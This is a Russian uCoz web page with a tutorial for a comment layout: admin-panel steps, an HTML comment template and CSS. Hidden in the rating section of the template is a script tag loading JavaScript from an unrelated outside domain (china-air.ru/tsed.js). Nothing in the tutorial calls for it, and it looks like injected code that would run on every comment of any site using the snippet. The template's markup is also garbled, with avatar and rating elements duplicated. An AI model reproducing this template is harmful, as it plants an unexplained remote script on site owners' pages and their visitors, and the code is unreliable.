Галерея лучших современников и их творческих работ
Главная | Регистрация | Вход Приветствую Вас Гость | RSS
Язык сайта
Выбрать язык / Choose language:
Ukranian
English
French
German
Japanese
Italian
Portuguese
Spanish
Danish
Chinese
Korean
Arabic
Czech
Estonian
Belarusian
Latvian
Greek
Finnish
Serbian
Bulgarian
Turkish
Меню сайта
Категории раздела
Полезности для сайтов ucoz [134]
Поиск
Новенькие на сайте
rbadertdinov
↓ ↓ ↓ ↓ ↓
KuznetzovapCT
↓ ↓ ↓ ↓ ↓
cecfjgmuraniench
↓ ↓ ↓ ↓ ↓
cecfjgbascubblil
↓ ↓ ↓ ↓ ↓
xiao_yiwan
↓ ↓ ↓ ↓ ↓
mailsima
↓ ↓ ↓ ↓ ↓
larisamatkovskaa
↓ ↓ ↓ ↓ ↓
samaraindi
↓ ↓ ↓ ↓ ↓
Новое на форуме
  • Виагра купить цена
  • Продолжается восстановление Успенского собора Киево-печерской Лавры
  • Война. Оружие. Пули. И все что из этого может получиться
  • Романизм
  • Ренессанс
  • Словарь
    Абстрагирование.
    [Раздел под буквой - [A]]
    Книга, искусство книги.
    [Раздел под буквой - [К]]
    Декоративное искусство.
    [Раздел под буквой - [Д]]
    Фронтиспис.
    [Раздел под буквой - [Ф]]
    Знак.
    [Раздел под буквой - [З]]
    Главная » 2012 » Декабрь » 16 » Новый вид комментария для uCoz с уголком
    08:51
    Новый вид комментария для uCoz с уголком
    Описание: Новый вид комментария для uCoz с уголком. Небольшой вариант, вида комментарий, в котором установлено изображение уголка и прописаны стили, отвечающие за тень объекта.
    Установка:
    - заходим в админ панель сайта Дизайн => Новости сайта => Страница материала и комментария к нему
    ищем код

    Code
    $COM_BODY$


    и заменяем его на

    Code
    <ul class="cell_coment">  
      $COM_BODY$  
      </ul>


    - теперь заходим Дизайн => Комментарии => Вид комментариев и устанавливаем следующий код

    Code
    <li>  
      <div class="avatar"><a href="$PROFILE_URL$"><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /></a><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /></div>  
      <div class="coment_info">  
      <span class="tip"></span>  
      <div class="coment_os">  
      <div class="coment_name left"><a href="$PROFILE_URL$">$USERNAME$</a>$NAME$ <span style="">($DATE$ $TIME$)</span></div><div class="coment_nomer right"><a href="#ent$ID$" onclick="if (document.getElementById('comEnt$ID$')){$('body').scrollTo( { top:$('#comEnt$ID$').offset().top-22, left:0}, 500 );return false;}" name="ent$ID$">$NUMBER$</a></div><div class="clear"></div>  
      <div class="coment_message left">$MESSAGE$</div>  
      <div class="coment_rating right">$COMMENT_RATING$ <span style="color:gray;">$COMMENT_RATING$ </span><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><span class="myWinSuccess">+$COMMENT_RATING$</span><a href="$GOOD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_01.gif" width="10" align="absmiddle" border="0" title="Хороший пост"></a> <a href="$BAD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_01.gif" width="10" border="0" align="absmiddle" title="Плохой пост"></a><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_02.png" align="absmiddle" width="10" border="0" title="Хороший пост"> <img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_02.png" width="10" align="absmiddle" border="0" title="Плохой пост"> $MODER_PANEL$</div>  
      </div>  
      </div>  
      </li>


    - и прописываем в css следующий код

    Code
    /* ВИД КОММЕНТАРИЯ  
      ===================================================*/  
      .cell_coment {  
      list-style: none;  
      padding: 0px;  
      margin: 0px;  
      }  
       
      .cell_coment li {  
      position: relative;  
      padding-left: 60px;  
      width: 500px;  
      }  
       
      .coment_info {  
      position: relative;  
      text-align:justify;  
      color: #555;  
      background: #fff;  
      border: 1px solid #C9C9C9;  
      padding: 10px;  
      margin-bottom: 30px;  
      }  
       
      .coment_os {  
      overflow: hidden;  
      }  
       
      .coment_name,  
      .coment_nomer {  
      padding-bottom: 5px;  
      }  
       
      .coment_message {  
      width: 100%;  
      border-top: 1px solid #C9C9C9;  
      border-bottom: 1px solid #C9C9C9;  
      padding: 5px 0px;  
      }  
       
      .coment_rating {  
      padding-top: 5px;  
      }  
       
      .coment_name,  
      .coment_nomer,  
      .coment_rating {  
      font:10px Verdana,Arial,Helvetica, sans-serif; color:#999;  
      font-weight: bold;  
      }  
       
      .avatar a:hover,  
      .avatar {  
      position: absolute;  
      height: 45px;  
      width: 45px;  
      left: 0;  
      }  
       
      .avatar img {  
      height: 45px;  
      width: 45px;  
      border: none;  
      }  
       
      .tip{  
      position: absolute;  
      top: 10px;  
      left: -7px;  
      height: 13px;  
      width: 9px;  
      background: url("http://www.center-dm.ru/ucoz/vid_coment/fon_ugol.png") no-repeat top left;  
      }  
       
      .coment_info,  
      .avatar a:hover {  
      box-shadow: 0px 0px 5px #999;  
      -moz-box-shadow: 0px 0px 5px #999;  
      -webkit-box-shadow: 0px 0px 5px #999;  
      }  
       
      .left {float:left;}  
      .right {float:right;}  
      .clear {clear:left;}  
       
      .coment_rating a:hover img {filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50); -moz-opacity: 0.5; opacity: 0.5; filter: alpha(opacity=50);}  
      /* =================================================*/
    Категория: Полезности для сайтов ucoz | Просмотров: 99 | Добавил: startsmart | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Профиль
    Гость




    Группа:
    Гости

    Мы очень рады что вы зашли к нам.
    Пожалуйста зарегистрируйтесь или авторизуйтесь!
    Случайные работы
    Друзья сайта
  • All-Art.do.am - все об искусстве! Стили, направления, художники, иконопись и т.д.

  • Tatyana_Art - Кое-что о компьютерной графике. Портфолио. Уроки компьютерной графики (2D и 3D)

  • Галерея иконописи и убранств храмов

  • Галерея мировых шедевров

  • Галерея лучших художников 20 века

  • Статистика

    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0
    Copyright MyCorp © 2017
    Бесплатный хостинг uCoz




    Rambler's Top100